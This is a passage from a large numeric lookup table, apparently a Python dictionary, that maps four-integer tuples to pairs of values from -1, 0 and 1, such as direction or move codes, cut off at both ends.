-2): (-1, 1), (6, 30, -3, -1): (-1, 1), (6, 30, -3, 0): (-1, 1), (6, 30, -3, 1): (0, 1), (6, 30, -3, 2): (0, 0), (6, 30, -3, 3): (-1, -1), (6, 30, -3, 4): (-1, -1), (6, 30, -3, 5): (0, 1), (6, 30, -2, -5): (0, 1), (6, 30, -2, -4): (0, 1), (6, 30, -2, -3): (0, 1), (6, 30, -2, -2): (0, 1), (6, 30, -2, -1): (-1, 1), (6, 30, -2, 0): (-1, 1), (6, 30, -2, 1): (-1, 1), (6, 30, -2, 2): (-1, 0), (6, 30, -2, 3): (-1, -1), (6, 30, -2, 4): (-1, -1), (6, 30, -2, 5): (0, 1), (6, 30, -1, -5): (0, 1), (6, 30, -1, -4): (0, 1), (6, 30, -1, -3): (0, 1), (6, 30, -1, -2): (0, 1), (6, 30, -1, -1): (0, 1), (6, 30, -1, 0): (-1, 1), (6, 30, -1, 1): (-1, 1), (6, 30, -1, 2): (-1, 1), (6, 30, -1, 3): (-1, 0), (6, 30, -1, 4): (-1, -1), (6, 30, -1, 5): (-1, 1), (6, 30, 0, -5): (-1, 1), (6, 30, 0, -4): (-1, 1), (6, 30, 0, -3): (-1, 1), (6, 30, 0, -2): (-1, 1), (6, 30, 0, -1): (0, 1), (6, 30, 0, 0): (0, 1), (6, 30, 0, 1): (-1, 1), (6, 30, 0, 2): (-1, 0), (6, 30, 0, 3): (-1, -1), (6, 30, 0, 4): (-1, -1), (6, 30, 0, 5): (-1, 1), (6, 30, 1, -5): (1, 1), (6, 30, 1, -4): (1, 1), (6, 30, 1, -3): (1, 1), (6, 30, 1, -2): (0, 1), (6, 30, 1, -1): (-1, 1), (6, 30, 1, 0): (-1, 1), (6, 30, 1, 1): (-1, 0), (6, 30, 1, 2): (-1, -1), (6, 30, 1, 3): (-1, -1), (6, 30, 1, 4): (-1, 1), (6, 30, 1, 5): (-1, 1), (6, 30, 2, -5): (0, 1), (6, 30, 2, -4): (0, 1), (6, 30, 2, -3): (0, 1), (6, 30, 2, -2): (-1, 1), (6, 30, 2, -1): (-1, 1), (6, 30, 2, 0): (-1, 1), (6, 30, 2, 1): (-1, 1), (6, 30, 2, 2): (-1, 1), (6, 30, 2, 3): (-1, 1), (6, 30, 2, 4): (-1, 1), (6, 30, 2, 5): (-1, 1), (6, 30, 3, -5): (1, 1), (6, 30, 3, -4): (1, 1), (6, 30, 3, -3): (1, 1), (6, 30, 3, -2): (1, 1), (6, 30, 3, -1): (1, 0), (6, 30, 3, 0): (1, -1), (6, 30, 3, 1): (1, 1), (6, 30, 3, 2): (1, 0), (6, 30, 3, 3): (1, 0), (6, 30, 3, 4): (1, 0), (6, 30, 3, 5): (1, 0), (6, 30, 4, -5): (0, 1), (6, 30, 4, -4): (0, 1), (6, 30, 4, -3): (0, 1), (6, 30, 4, -2): (0, 1), (6, 30, 4, -1): (0, 0), (6, 30, 4, 0): (0, -1), (6, 30, 4, 1): (0, 1), (6, 30, 4, 2): (0, 1), (6, 30, 4, 3): (0, 1), (6, 30, 4, 4): (0, 1), (6, 30, 4, 5): (0, 1), (6, 30, 5, -5): (0, 1), (6, 30, 5, -4): (0, 1), (6, 30, 5, -3): (0, 1), (6, 30, 5, -2): (0, 1), (6, 30, 5, -1): (0, 0), (6, 30, 5, 0): (-1, -1), (6, 30, 5, 1): (0, 1), (6, 30, 5, 2): (0, 1), (6, 30, 5, 3): (0, 1), (6, 30, 5, 4): (0, 1), (6, 30, 5, 5): (0, 1), (6, 31, -5, -5): (0, 1), (6, 31, -5, -4): (0, 1), (6, 31, -5, -3): (1, 1), (6, 31, -5, -2): (1, 0), (6, 31, -5, -1): (0, 1), (6, 31, -5, 0): (0, 1), (6, 31, -5, 1): (0, 1), (6, 31, -5, 2): (0, 1), (6, 31, -5, 3): (0, 1), (6, 31, -5, 4): (0, 0), (6, 31, -5, 5): (-1, -1), (6, 31, -4, -5): (0, 1), (6, 31, -4, -4): (-1, 1), (6, 31, -4, -3): (0, 1), (6, 31, -4, -2): (0, 1), (6, 31, -4, -1): (0, 1), (6, 31, -4, 0): (-1, 1), (6, 31, -4, 1): (-1, 1), (6, 31, -4, 2): (-1, 1), (6, 31, -4, 3): (-1, 1), (6, 31, -4, 4): (-1, 0), (6, 31, -4, 5): (-1, -1), (6, 31, -3, -5): (0, 1), (6, 31, -3, -4): (0, 1), (6, 31, -3, -3): (-1, 1), (6, 31, -3, -2): (-1, 1), (6, 31, -3, -1): (-1, 1), (6, 31, -3, 0): (0, 1), (6, 31, -3, 1): (0, 1), (6, 31, -3, 2): (0, 0), (6, 31, -3, 3): (-1, -1), (6, 31, -3, 4): (-1, 1), (6, 31, -3, 5): (-1, 1), (6, 31, -2, -5): (0, 1), (6, 31, -2, -4): (0, 1), (6, 31, -2, -3): (0, 1), (6, 31, -2, -2): (-1, 1), (6, 31, -2, -1): (-1, 1), (6, 31, -2, 0): (-1, 1), (6, 31, -2, 1): (-1, 1), (6, 31, -2, 2): (-1, 0), (6, 31, -2, 3): (-1, -1), (6, 31, -2, 4): (0, 0), (6, 31, -2, 5): (-1, -1), (6, 31, -1, -5): (0, 1), (6, 31, -1, -4): (0, 1), (6, 31, -1, -3): (0, 1), (6, 31, -1, -2): (0, 1), (6, 31, -1, -1): (-1, 1), (6, 31, -1, 0): (-1, 1), (6, 31, -1, 1): (-1, 0), (6, 31, -1, 2): (-1, -1), (6, 31, -1, 3): (-1, -1), (6, 31, -1, 4): (-1, 0), (6, 31, -1, 5): (-1, -1), (6, 31, 0, -5): (-1, 1), (6, 31, 0, -4): (-1, 1), (6, 31, 0, -3): (-1, 1), (6, 31, 0, -2): (-1, 1), (6, 31, 0, -1): (0, 1), (6, 31, 0, 0): (-1, 1), (6, 31, 0, 1): (-1, 0), (6, 31, 0, 2): (-1, -1), (6, 31, 0, 3): (-1, -1), (6, 31, 0, 4): (-1, 1), (6, 31, 0, 5): (-1, 1), (6, 31, 1, -5): (1, 1), (6, 31, 1, -4): (1, 1), (6, 31, 1, -3): (1, 1), (6, 31, 1, -2): (0, 1), (6, 31, 1, -1): (-1, 1), (6, 31, 1, 0): (-1, 1), (6, 31, 1, 1): (-1, 0), (6, 31, 1, 2): (-1, -1), (6, 31, 1, 3): (-1, -1), (6, 31, 1, 4): (-1, 1), (6, 31, 1, 5): (-1, 1), (6, 31, 2, -5): (0, 1), (6, 31, 2, -4): (0, 1), (6, 31, 2, -3): (0, 1), (6, 31, 2, -2): (-1, 1), (6, 31, 2, -1): (-1, 1), (6, 31, 2, 0): (-1, 1), (6, 31, 2, 1): (-1, 1), (6, 31, 2, 2): (-1, 1), (6, 31, 2, 3): (-1, 1), (6, 31, 2, 4): (-1, 1), (6, 31, 2, 5): (-1, 1), (6, 31, 3, -5): (1, 1), (6, 31, 3, -4): (1, 1), (6, 31, 3, -3): (1, 1), (6, 31, 3, -2): (1, 0), (6, 31, 3, -1): (1, -1), (6, 31, 3, 0): (1, 1), (6, 31, 3, 1): (1, 0), (6, 31, 3, 2): (1, 0), (6, 31, 3, 3): (1, 0), (6, 31, 3, 4): (-1, 1), (6, 31, 3, 5): (-1, 1), (6, 31, 4, -5): (0, 1), (6, 31, 4, -4): (0, 1), (6, 31, 4, -3): (0, 1), (6, 31, 4, -2): (0, 0), (6, 31, 4, -1): (0, -1), (6, 31, 4, 0): (0, 1), (6, 31, 4, 1): (0, 1), (6, 31, 4, 2): (0, 1), (6, 31, 4, 3): (0, 1), (6, 31, 4, 4): (0, 1), (6, 31, 4, 5): (0, 1), (6, 31, 5, -5): (0, 1), (6, 31, 5, -4): (0, 1), (6, 31, 5, -3): (0, 1), (6, 31, 5, -2): (0, 0), (6, 31, 5, -1): (-1, -1), (6, 31, 5, 0): (0, 1), (6, 31, 5, 1): (0, 1), (6, 31, 5, 2): (0, 1), (6, 31, 5, 3): (0, 1), (6, 31, 5, 4): (0, 1), (6, 31, 5, 5): (0, 1), (6, 32, -5, -5): (0, 1), (6, 32, -5, -4): (1, 1), (6, 32, -5, -3): (1, 0), (6, 32, -5, -2): (0, 1), (6, 32, -5, -1): (0, 1), (6, 32, -5, 0): (0, 1), (6, 32, -5, 1): (0, 1), (6, 32, -5, 2): (0, 1), (6, 32, -5, 3): (0, 0), (6, 32, -5, 4): (-1, -1), (6, 32, -5, 5): (0, 1), (6, 32, -4, -5): (-1, 1), (6, 32, -4, -4): (0, 1), (6, 32, -4, -3): (0, 1), (6, 32, -4, -2): (0, 1), (6, 32, -4, -1): (-1, 1), (6, 32, -4, 0): (-1, 1), (6, 32, -4, 1): (-1, 1), (6, 32, -4, 2): (-1, 1), (6, 32, -4, 3): (-1, 0), (6, 32, -4, 4): (-1, -1), (6, 32, -4, 5): (0, 1), (6, 32, -3, -5): (0, 1), (6, 32, -3, -4): (-1, 1), (6, 32, -3, -3): (-1, 1), (6, 32, -3, -2): (-1, 1), (6, 32, -3, -1): (0, 1), (6, 32, -3, 0): (0, 1), (6, 32, -3, 1): (0, 0), (6, 32, -3, 2): (-1, -1), (6, 32, -3, 3): (-1, 1), (6, 32, -3, 4): (-1, 1), (6, 32, -3, 5): (-1, 1), (6, 32, -2, -5): (0, 1), (6, 32, -2, -4): (0, 1), (6, 32, -2, -3): (-1, 1), (6, 32, -2, -2): (-1, 1), (6, 32, -2, -1): (-1, 1), (6, 32, -2, 0): (-1, 1), (6, 32, -2, 1): (-1, 0), (6, 32, -2, 2): (-1, -1), (6, 32, -2, 3): (-1, -1), (6, 32, -2, 4): (-1, -1), (6, 32, -2, 5): (-1, 1), (6, 32, -1, -5): (0, 1), (6, 32, -1, -4): (0, 1), (6, 32, -1, -3): (0, 1), (6, 32, -1, -2): (-1, 1), (6, 32, -1, -1): (-1, 1), (6, 32, -1, 0): (-1, 1), (6, 32, -1, 1): (-1, 0), (6, 32, -1, 2): (-1, -1), (6, 32, -1, 3): (-1, -1), (6, 32, -1, 4): (-1, -1), (6, 32, -1, 5): (-1, 1), (6, 32, 0, -5): (-1, 1), (6, 32, 0, -4): (-1, 1), (6, 32, 0, -3): (-1, 1), (6, 32, 0, -2): (-1, 1), (6, 32, 0, -1): (-1, 1), (6, 32, 0, 0): (-1, 0), (6, 32, 0, 1): (-1, -1), (6, 32, 0, 2): (-1, -1), (6, 32, 0, 3): (-1, -1), (6, 32, 0, 4): (-1, 1), (6, 32, 0, 5): (-1, 1), (6, 32, 1, -5): (1, 1), (6, 32, 1, -4): (1, 1), (6, 32, 1, -3): (1, 1), (6, 32, 1, -2): (0, 1), (6, 32, 1, -1): (-1, 1), (6, 32, 1, 0): (-1, 1), (6, 32, 1, 1): (-1, 0), (6, 32, 1, 2): (-1, -1), (6, 32, 1, 3): (-1, 1), (6, 32, 1, 4): (-1, 1), (6, 32, 1, 5): (-1, 1), (6, 32, 2, -5): (0, 1), (6, 32, 2, -4): (0, 1), (6, 32, 2, -3): (0, 1), (6, 32, 2, -2): (-1, 1), (6, 32, 2, -1): (-1, 1), (6, 32, 2, 0): (-1, 1), (6, 32, 2, 1): (-1, 1), (6, 32, 2, 2): (-1, 1), (6, 32, 2, 3): (-1, 1), (6, 32, 2, 4): (-1, 1), (6, 32, 2, 5): (-1, 1), (6, 32, 3, -5): (1, 1), (6, 32, 3, -4): (1, 1), (6, 32, 3, -3): (1, 0), (6, 32, 3, -2): (1, -1), (6, 32, 3, -1): (1, 1), (6, 32, 3, 0): (1, 0), (6, 32, 3, 1): (1, 0), (6, 32, 3, 2): (1, 0), (6, 32, 3, 3): (-1, 1), (6, 32, 3, 4): (-1, 1), (6, 32, 3, 5): (-1, 1), (6, 32, 4, -5): (0, 1), (6, 32, 4, -4): (0, 1), (6, 32, 4, -3): (0, 0), (6, 32, 4, -2): (0, -1), (6, 32, 4, -1): (0, 1), (6, 32, 4, 0): (0, 1), (6, 32, 4, 1): (0, 1), (6, 32, 4, 2): (0, 1), (6, 32, 4, 3): (0, 1), (6, 32, 4, 4): (0, 1), (6, 32, 4, 5): (0, 1), (6, 32, 5, -5): (0, 1), (6, 32, 5, -4): (0, 1), (6, 32, 5, -3): (0, 0), (6, 32, 5, -2): (-1, -1), (6, 32, 5, -1): (0, 1), (6, 32, 5, 0): (0, 1), (6, 32, 5, 1): (0, 1), (6, 32, 5, 2): (0, 1), (6, 32, 5, 3): (0, 1), (6, 32, 5, 4): (0, 1), (6, 32, 5, 5): (0, 1), (6, 33, -5, -5): (1, 1), (6, 33, -5, -4): (1, 0), (6, 33, -5, -3): (0, 1), (6, 33, -5, -2): (0, 1), (6, 33, -5, -1): (0, 1), (6, 33, -5, 0): (0, 1), (6, 33, -5, 1): (0, 1), (6, 33, -5, 2): (0, 0), (6, 33, -5, 3): (-1, -1), (6, 33, -5, 4): (0, 1), (6, 33, -5, 5): (0, 1), (6, 33, -4, -5): (0, 1), (6, 33, -4, -4): (0, 1), (6, 33, -4, -3): (0, 1), (6, 33, -4, -2): (-1, 1), (6, 33, -4, -1): (-1, 1), (6, 33, -4, 0): (-1, 1), (6, 33, -4, 1): (-1, 1), (6, 33, -4, 2): (-1, 0), (6, 33, -4, 3): (-1, -1), (6, 33, -4, 4): (0, 1), (6, 33, -4, 5): (0, 1), (6, 33, -3, -5): (-1, 1), (6, 33, -3, -4): (-1, 1), (6, 33, -3, -3): (-1, 1), (6, 33, -3, -2): (0, 1), (6, 33, -3, -1): (0, 1), (6, 33, -3, 0): (0, 1), (6, 33, -3, 1): (0, 0), (6, 33, -3, 2): (-1, -1), (6, 33, -3, 3): (-1, 1), (6, 33, -3, 4): (-1, 1), (6, 33, -3, 5): (-1, 1), (6, 33, -2, -5): (0, 1), (6, 33, -2, -4): (-1, 1), (6, 33, -2, -3): (-1, 1), (6, 33, -2, -2): (0, 1), (6, 33, -2, -1): (-1, 1), (6, 33, -2, 0): (-1, 1), (6, 33, -2, 1): (-1, 0), (6, 33, -2, 2): (-1, -1), (6, 33, -2, 3): (-1, -1), (6, 33, -2, 4): (-1, 1), (6, 33, -2, 5): (-1, 1), (6, 33, -1, -5): (0, 1), (6, 33, -1, -4): (0, 1), (6, 33, -1, -3): (-1, 1), (6, 33, -1, -2): (-1, 1), (6, 33, -1, -1): (-1, 1), (6, 33, -1, 0): (-1, 0), (6, 33, -1, 1): (-1, -1), (6, 33, -1, 2): (-1, -1), (6, 33, -1, 3): (-1, -1), (6, 33, -1, 4): (-1, 1), (6, 33, -1, 5): (-1, 1), (6, 33, 0, -5): (-1, 1), (6, 33, 0, -4): (-1, 1), (6, 33, 0, -3): (-1, 1), (6, 33, 0, -2): (-1, 1), (6, 33, 0, -1): (-1, 1), (6, 33, 0, 0): (-1, 0), (6, 33, 0, 1): (-1, -1), (6, 33, 0, 2): (-1, -1), (6, 33, 0, 3): (-1, 1), (6, 33, 0, 4): (-1, 1), (6, 33, 0, 5): (-1, 1), (6, 33, 1, -5): (1, 1), (6, 33, 1, -4): (1, 1), (6, 33, 1, -3): (1, 1), (6, 33, 1, -2): (-1, 1), (6, 33, 1, -1): (-1, 1), (6, 33, 1, 0): (-1, 1), (6, 33, 1, 1): (-1, 0), (6, 33, 1, 2): (-1, 1), (6, 33, 1, 3): (-1, 1), (6, 33, 1, 4): (-1, 1), (6, 33, 1, 5): (-1, 1), (6, 33, 2, -5): (0, 1), (6, 33, 2, -4): (0, 1), (6, 33, 2, -3): (0, 1), (6, 33, 2, -2): (-1, 1), (6, 33, 2, -1): (-1, 1), (6, 33, 2, 0): (-1, 1), (6, 33, 2, 1): (-1, 1), (6, 33, 2, 2): (-1, 1), (6, 33, 2, 3): (-1, 1), (6, 33, 2, 4): (-1, 1), (6, 33, 2, 5): (-1, 1), (6, 33, 3, -5): (1, 1), (6, 33, 3, -4): (1, 0), (6, 33, 3, -3): (1, -1), (6, 33, 3, -2): (1, 1), (6, 33, 3, -1): (1, 0), (6, 33, 3, 0): (1, 0), (6, 33, 3, 1): (1, 0), (6, 33, 3, 2): (-1, 1), (6, 33, 3, 3): (-1, 1), (6, 33, 3, 4): (-1, 1), (6, 33, 3, 5): (-1, 1), (6, 33, 4, -5): (0, 1), (6, 33, 4, -4): (0, 0), (6, 33, 4, -3): (0, -1), (6, 33, 4, -2): (0, 1), (6, 33, 4, -1): (0, 1), (6, 33, 4, 0): (0, 1), (6, 33, 4, 1): (0, 1), (6, 33, 4, 2): (0, 1), (6, 33, 4, 3): (0, 1), (6, 33, 4, 4): (0, 1), (6, 33, 4, 5): (0, 1), (6, 33, 5, -5): (0, 1), (6, 33, 5, -4): (0, 0), (6, 33, 5, -3): (-1, -1), (6, 33, 5, -2): (0, 1), (6, 33, 5, -1): (0, 1), (6, 33, 5, 0): (0, 1), (6, 33, 5, 1): (0, 1), (6, 33, 5, 2): (0, 1), (6, 33, 5, 3): (0, 1), (6, 33, 5, 4): (0, 1), (6, 33, 5, 5): (0, 1), (6, 34, -5, -5): (1, 0), (6, 34, -5, -4): (0, 1), (6, 34, -5, -3): (0, 1), (6, 34, -5, -2): (0, 1), (6, 34, -5, -1): (0, 1), (6, 34, -5, 0): (0, 1), (6, 34, -5, 1): (0, 0), (6, 34, -5, 2): (-1, -1), (6, 34, -5, 3): (0, 1), (6, 34, -5, 4): (0, 1), (6, 34, -5, 5): (0, 1), (6, 34, -4, -5): (0, 1), (6, 34, -4, -4): (0, 1), (6, 34, -4, -3): (-1, 1), (6, 34, -4, -2): (-1, 1), (6, 34, -4, -1): (-1, 1), (6, 34, -4, 0): (-1, 1), (6, 34, -4, 1): (-1, 0), (6, 34, -4, 2): (-1, -1), (6, 34, -4, 3): (0, 1), (6, 34, -4, 4): (0, 1), (6, 34, -4, 5): (0, 1), (6, 34, -3, -5): (-1, 1), (6, 34, -3, -4): (-1, 1), (6, 34, -3, -3): (-1, 0), (6, 34, -3, -2): (0, 1), (6, 34, -3, -1): (0, 1), (6, 34, -3, 0): (0, 0), (6, 34, -3, 1): (-1, -1), (6, 34, -3, 2): (-1, 1), (6, 34, -3, 3): (-1, 1), (6, 34, -3, 4): (-1, 1), (6, 34, -3, 5): (-1, 1), (6, 34, -2, -5): (-1, 1), (6, 34, -2, -4): (-1, 1), (6, 34, -2, -3): (0, 1), (6, 34, -2, -2): (-1, 1), (6, 34, -2, -1): (-1, 1), (6, 34, -2, 0): (-1, 0), (6, 34, -2, 1): (-1, -1), (6, 34, -2, 2): (-1, -1), (6, 34, -2, 3): (-1, 1), (6, 34, -2, 4): (-1, 1), (6, 34, -2, 5): (-1, 1), (6, 34, -1, -5): (0, 1), (6, 34, -1, -4): (-1, 1), (6, 34, -1, -3): (-1, 1), (6, 34, -1, -2): (-1, 1), (6, 34, -1, -1): (-1, 1), (6, 34, -1, 0): (-1, 0), (6, 34, -1, 1): (-1, -1), (6, 34, -1, 2): (-1, -1), (6, 34, -1, 3): (-1, 1), (6, 34, -1, 4): (-1, 1), (6, 34, -1, 5): (-1, 1), (6, 34, 0, -5): (-1, 1), (6, 34, 0, -4): (-1, 1), (6, 34, 0, -3): (-1, 0), (6, 34, 0, -2): (-1, 1), (6, 34, 0, -1): (-1, 1), (6, 34, 0, 0): (-1, 0), (6, 34, 0, 1): (-1, -1), (6, 34, 0, 2): (-1, -1), (6, 34, 0, 3): (-1, 1), (6, 34, 0, 4): (-1, 1), (6, 34, 0, 5): (-1, 1), (6, 34, 1, -5): (1, 1), (6, 34, 1, -4): (1, 1), (6, 34, 1, -3): (-1, 1), (6, 34, 1, -2): (-1, 1), (6, 34, 1, -1): (-1, 1), (6, 34, 1, 0): (-1, 1), (6, 34, 1, 1): (-1, 1), (6, 34, 1, 2): (-1, 1), (6, 34, 1, 3): (-1, 1), (6, 34, 1, 4): (-1, 1), (6, 34, 1, 5): (-1, 1), (6, 34, 2, -5): (0, 1), (6, 34, 2, -4): (0, 1), (6, 34, 2, -3): (-1, 1), (6, 34, 2, -2): (-1, 1), (6, 34, 2, -1): (-1, 1), (6, 34, 2, 0): (-1, 1), (6, 34, 2, 1): (-1, 1), (6, 34, 2, 2): (-1, 1), (6, 34, 2, 3): (-1, 1), (6, 34, 2, 4): (-1, 1), (6, 34, 2, 5): (-1, 1), (6, 34, 3, -5): (1, 0), (6, 34, 3, -4): (1, -1), (6, 34, 3, -3): (1, 1), (6, 34, 3, -2): (1, 0), (6, 34, 3, -1): (1, 0), (6, 34, 3, 0): (1, 0), (6, 34, 3, 1): (-1, 1), (6, 34, 3, 2): (-1, 1), (6, 34, 3, 3): (-1, 1), (6, 34, 3, 4): (-1, 1), (6, 34, 3, 5): (-1, 1), (6, 34, 4, -5): (0, 0), (6, 34, 4, -4): (0, -1), (6, 34, 4, -3): (0, 1), (6, 34, 4, -2): (0, 1), (6, 34, 4, -1): (0, 1), (6, 34, 4, 0): (0, 1), (6, 34, 4, 1): (0, 1), (6, 34, 4, 2): (0, 1), (6, 34, 4, 3): (0, 1), (6, 34, 4, 4): (0, 1), (6, 34, 4, 5): (0, 1), (6, 34, 5, -5): (0, 0), (6, 34, 5, -4): (-1, -1), (6, 34, 5, -3): (0, 1), (6, 34, 5, -2): (0, 1), (6, 34, 5, -1): (0, 1), (6, 34, 5, 0): (0, 1), (6, 34, 5, 1): (0, 1), (6, 34, 5, 2): (0, 1), (6, 34, 5, 3): (0, 1), (6, 34, 5, 4): (0, 1), (6, 34, 5, 5): (0, 1), (6, 35, -5, -5): (0, 1), (6, 35, -5, -4): (0, 1), (6, 35, -5, -3): (0, 1), (6, 35, -5, -2): (0, 1), (6, 35, -5, -1): (0, 1), (6, 35, -5, 0): (0, 0), (6, 35, -5, 1): (-1, -1), (6, 35, -5, 2): (0, 1), (6, 35, -5, 3): (0, 1), (6, 35, -5, 4): (0, 1), (6, 35, -5, 5): (0, 1), (6, 35, -4, -5): (0, 1), (6, 35, -4, -4): (-1, 1), (6, 35, -4, -3): (-1, 1), (6, 35, -4, -2): (-1, 1), (6, 35, -4, -1): (-1, 1), (6, 35, -4, 0): (-1, 0), (6, 35, -4, 1): (-1, -1), (6, 35, -4, 2): (0, 1), (6, 35, -4, 3): (0, 1), (6, 35, -4, 4): (0, 1), (6, 35, -4, 5): (0, 1), (6, 35, -3, -5): (-1, 1), (6, 35, -3, -4): (-1, 0), (6, 35, -3, -3): (0, 1), (6, 35, -3, -2): (0, 1), (6, 35, -3, -1): (0, 1), (6, 35, -3, 0): (0, 0), (6, 35, -3, 1): (-1, -1), (6, 35, -3, 2): (-1, 1), (6, 35, -3, 3): (-1, 1), (6, 35, -3, 4): (-1, 1), (6, 35, -3, 5): (-1, 1), (6, 35, -2, -5): (-1, 1), (6, 35, -2, -4): (0, 1), (6, 35, -2, -3): (0, 1), (6, 35, -2, -2): (-1, 1), (6, 35, -2, -1): (-1, 1), (6, 35, -2, 0): (-1, 0), (6, 35, -2, 1): (-1, -1), (6, 35, -2, 2): (-1, 1), (6, 35, -2, 3): (-1, 1), (6, 35, -2, 4): (-1, 1), (6, 35, -2, 5): (-1, 1), (6, 35, -1, -5): (-1, 1), (6, 35, -1, -4): (-1, 1), (6, 35, -1, -3): (-1, 1), (6, 35, -1, -2): (-1, 1), (6, 35, -1, -1): (-1, 1), (6, 35, -1, 0): (-1, 0), (6, 35, -1, 1): (-1, -1), (6, 35, -1, 2): (-1, 1), (6, 35, -1, 3): (-1, 1), (6, 35, -1, 4): (-1, 1), (6, 35, -1, 5): (-1, 1), (6, 35, 0, -5): (-1, 1), (6, 35, 0, -4): (-1, 0), (6, 35, 0, -3): (-1, 1), (6, 35, 0, -2): (-1, 1), (6, 35, 0, -1): (-1, 1), (6, 35, 0, 0): (-1, 0), (6, 35, 0, 1): (-1, -1), (6, 35, 0, 2): (-1, 1), (6, 35, 0, 3): (-1, 1), (6, 35, 0, 4): (-1, 1), (6, 35, 0, 5): (-1, 1), (6, 35, 1, -5): (1, 1), (6, 35, 1, -4): (1, 1), (6, 35, 1, -3): (-1, 1), (6, 35, 1, -2): (-1, 1), (6, 35, 1, -1): (-1, 1), (6, 35, 1, 0): (-1, 1), (6, 35, 1, 1): (-1, 1), (6, 35, 1, 2): (-1, 1), (6, 35, 1, 3): (-1, 1), (6, 35, 1, 4): (-1, 1), (6, 35, 1, 5): (-1, 1), (6, 35, 2, -5): (0, 1), (6, 35, 2, -4): (0, 1), (6, 35, 2, -3): (-1, 1), (6, 35, 2, -2): (-1, 1), (6, 35, 2, -1): (-1, 1), (6, 35, 2, 0): (-1, 1), (6, 35, 2, 1): (-1, 1), (6, 35, 2, 2): (-1, 1), (6, 35, 2, 3): (-1, 1), (6, 35, 2, 4): (-1, 1), (6, 35, 2, 5): (-1, 1), (6, 35, 3, -5): (1, 0), (6, 35, 3, -4): (1, 1), (6, 35, 3, -3): (1, 0), (6, 35, 3, -2): (1, 0), (6, 35, 3, -1): (1, 0), (6, 35, 3, 0): (-1, 1), (6, 35, 3, 1): (-1, 1), (6, 35, 3, 2): (-1, 1), (6, 35, 3, 3): (-1, 1), (6, 35, 3, 4): (-1, 1), (6, 35, 3, 5): (-1, 1), (6, 35, 4, -5): (0, 0), (6, 35, 4, -4): (0, 1), (6, 35, 4, -3): (0, 1), (6, 35, 4, -2): (0, 1), (6, 35, 4, -1): (0, 1), (6, 35, 4, 0): (0, 1), (6, 35, 4, 1): (0, 1), (6, 35, 4, 2): (0, 1), (6, 35, 4, 3): (0, 1), (6, 35, 4, 4): (0, 1), (6, 35, 4, 5): (0, 1), (6, 35, 5, -5): (0, 0), (6, 35, 5, -4): (0, 1), (6, 35, 5, -3): (0, 1), (6, 35, 5, -2): (0, 1), (6, 35, 5, -1): (0, 1), (6, 35, 5, 0): (0, 1), (6, 35, 5, 1): (0, 1), (6, 35, 5, 2): (0, 1), (6, 35, 5, 3): (0, 1), (6, 35, 5, 4): (0, 1), (6, 35, 5, 5): (0, 1), (7, 1, -5, -5): (0, 1), (7, 1, -5, -4): (0, 1), (7, 1, -5, -3): (0, 1), (7, 1, -5, -2): (0, 1), (7, 1, -5, -1): (0, 0), (7, 1, -5, 0): (-1, -1), (7, 1, -5, 1): (0, 1), (7, 1, -5, 2): (0, 1), (7, 1, -5, 3): (0, 1), (7, 1, -5, 4): (0, 1), (7, 1, -5, 5): (0, 1), (7, 1, -4, -5): (-1, 1), (7, 1, -4, -4): (-1, 1), (7, 1, -4, -3): (-1, 1), (7, 1, -4, -2): (-1, 1), (7, 1, -4, -1): (-1, 0), (7, 1, -4, 0): (-1, -1), (7, 1, -4, 1): (0, 1), (7, 1, -4, 2): (0, 1), (7, 1, -4, 3): (0, 1), (7, 1, -4, 4): (0, 1), (7, 1, -4, 5): (0, 1), (7, 1, -3, -5): (-1, 1), (7, 1, -3, -4): (-1, 1), (7, 1, -3, -3): (-1, 1), (7, 1, -3, -2): (-1, 1), (7, 1, -3, -1): (-1, 0), (7, 1, -3, 0): (-1, -1), (7, 1, -3, 1): (0, 1), (7, 1, -3, 2): (0, 1), (7, 1, -3, 3): (0, 1), (7, 1, -3, 4): (0, 1), (7, 1, -3, 5): (0, 1), (7, 1, -2, -5): (-1, 1), (7, 1, -2, -4): (-1, 1), (7, 1, -2, -3): (-1, 1), (7, 1, -2, -2): (-1, 1), (7, 1, -2, -1): (-1, 0), (7, 1, -2, 0): (1, 1), (7, 1, -2, 1): (1, 1), (7, 1, -2, 2): (1, 1), (7, 1, -2, 3): (1, 1), (7, 1, -2, 4): (1, 1), (7, 1, -2, 5): (1, 0), (7, 1, -1, -5): (0, 1), (7, 1, -1, -4): (0, 1), (7, 1, -1, -3): (0, 1), (7, 1, -1, -2): (0, 1), (7, 1, -1, -1): (-1, 1), (7, 1, -1, 0): (1, 1), (7, 1, -1, 1): (1, 1), (7, 1, -1, 2): (1, 1), (7, 1, -1, 3): (1, 1), (7, 1, -1, 4): (1, 1), (7, 1, -1, 5): (1, 0), (7, 1, 0, -5): (1, 0), (7, 1, 0, -4): (1, 0), (7, 1, 0, -3): (1, 0), (7, 1, 0, -2): (1, 0), (7, 1, 0, -1): (1, 1), (7, 1, 0, 0): (1, 1), (7, 1, 0, 1): (0, 1), (7, 1, 0, 2): (1, 1), (7, 1, 0, 3): (0, 1), (7, 1, 0, 4): (0, 1), (7, 1, 0, 5): (0, 1), (7, 1, 1, -5): (1, 0), (7, 1, 1, -4): (1, 0), (7, 1, 1, -3): (1, 0), (7, 1, 1, -2): (1, 0), (7, 1, 1, -1): (1, 0), (7, 1, 1, 0): (0, 1), (7, 1, 1, 1): (-1, 1), (7, 1, 1, 2): (0, 1), (7, 1, 1, 3): (-1, 1), (7, 1, 1, 4): (-1, 1), (7, 1, 1, 5): (-1, 1), (7, 1, 2, -5): (0, 1), (7, 1, 2, -4): (0, 1), (7, 1, 2, -3): (0, 1), (7, 1, 2, -2): (0, 1), (7, 1, 2, -1): (0, 0), (7, 1, 2, 0): (-1, 1), (7, 1, 2, 1): (-1, 1), (7, 1, 2, 2): (-1, 1), (7, 1, 2, 3): (-1, 1), (7, 1, 2, 4): (-1, 1), (7, 1, 2, 5): (-1, 1), (7, 1, 3, -5): (0, 1), (7, 1, 3, -4): (0, 1), (7, 1, 3, -3): (0, 1), (7, 1, 3, -2): (0, 1), (7, 1, 3, -1): (0, 1), (7, 1, 3, 0): (0, 1), (7, 1, 3, 1): (0, 1), (7, 1, 3, 2): (0, 1), (7, 1, 3, 3): (-1, 1), (7, 1, 3, 4): (-1, 1), (7, 1, 3, 5): (-1, 1), (7, 1, 4, -5): (0, 1), (7, 1, 4, -4): (0, 1), (7, 1, 4, -3): (0, 1), (7, 1, 4, -2): (0, 1), (7, 1, 4, -1): (0, 1), (7, 1, 4, 0): (0, 1), (7, 1, 4, 1): (0, 1), (7, 1, 4, 2): (0, 1), (7, 1, 4, 3): (0, 1), (7, 1, 4, 4): (0, 1), (7, 1, 4, 5): (0, 1), (7, 1, 5, -5): (0, 